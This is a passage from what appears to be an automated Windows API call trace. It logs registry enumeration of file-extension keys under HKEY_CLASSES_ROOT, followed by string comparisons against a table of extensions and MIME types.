lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hlp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb6, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hol", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb7, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hpp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb8, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hqx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb9, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hta", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xba, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".htc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xbb, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".htm", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xbc, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".html", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xbd, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".htt", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xbe, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".htw", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xbf, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".htx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc0, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxa", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc1, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc2, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxd", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc3, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxe", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc4, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxf", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc5, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxh", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc6, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxi", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc7, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxk", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc8, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxq", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc9, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxr", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xca, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxs", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xcb, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxt", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xcc, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxv", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xcd, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxw", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xce, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xcf, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".i", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd0, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ibq", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd1, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".icc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd2, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".icl", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd3, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".icm", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd4, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ico", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd5, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ics", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd6, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".idl", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd7, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".idq", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd8, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ilk", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd9, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".imc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xda, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".img", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xdb, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".inc", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xdc, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".inf", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xdd, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".infopathxml", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xde, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ini", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xdf, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".inl", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe0, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".inv", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe1, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".inx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe2, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".in_", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe3, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".iqy", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe4, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".iso", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe5, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".IVF", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe6, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jar", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe7, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jav", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe8, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".java", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe9, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jbf", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xea, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jfif", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xeb, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jnlp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xec, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jnt", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xed, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".Job", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xee, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jod", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xef, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jpe", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf0, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jpeg", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf1, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jpg", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf2, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".js", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf3, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".JSE", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf4, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jtp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf5, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jtx", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf6, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".kci", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf7, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".label", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf8, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".laccdb", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.895] CharLowerBuffW (in: lpsz="video/3gpp2", cchLength=0xb | out: lpsz="video/3gpp2") returned 0xb [0119.895] CharLowerBuffW (in: lpsz=".3g2", cchLength=0x4 | out: lpsz=".3g2") returned 0x4 [0119.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".nml=animation/narrative", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".aac=audio/mp4", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".aif=audio/x-aiff", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".aifc=audio/x-aiff", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".aiff=audio/x-aiff", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".au=audio/basic", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gsm=audio/x-gsm", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".kar=audio/midi", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m3u=audio/mpegurl", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m4a=audio/x-mpg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mid=audio/midi", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".midi=audio/midi", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mpega=audio/x-mpg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp2=audio/x-mpg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3=audio/x-mpg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mpga=audio/x-mpg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m3u=audio/x-mpegurl", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pls=audio/x-scpls", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".qcp=audio/vnd.qcelp", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ra=audio/x-realaudio", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ram=audio/x-pn-realaudio", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".rm=audio/x-pn-realaudio", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".sd2=audio/x-sd2", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".sid=audio/prs.sid", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".snd=audio/basic", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wav=audio/x-wav", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wax=audio/x-ms-wax", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wma=audio/x-ms-wma", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".art=image/x-jg", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp=image/bmp", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".cdr=image/x-coreldraw", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".cdt=image/x-coreldrawtemplate", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".cpt=image/x-corelphotopaint", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".djv=image/vnd.djvu", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".djvu=image/vnd.djvu", cchCount1=4, lpString2=".3g2", cchCount2=4) returned 3 [0119.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gif=image/gif", 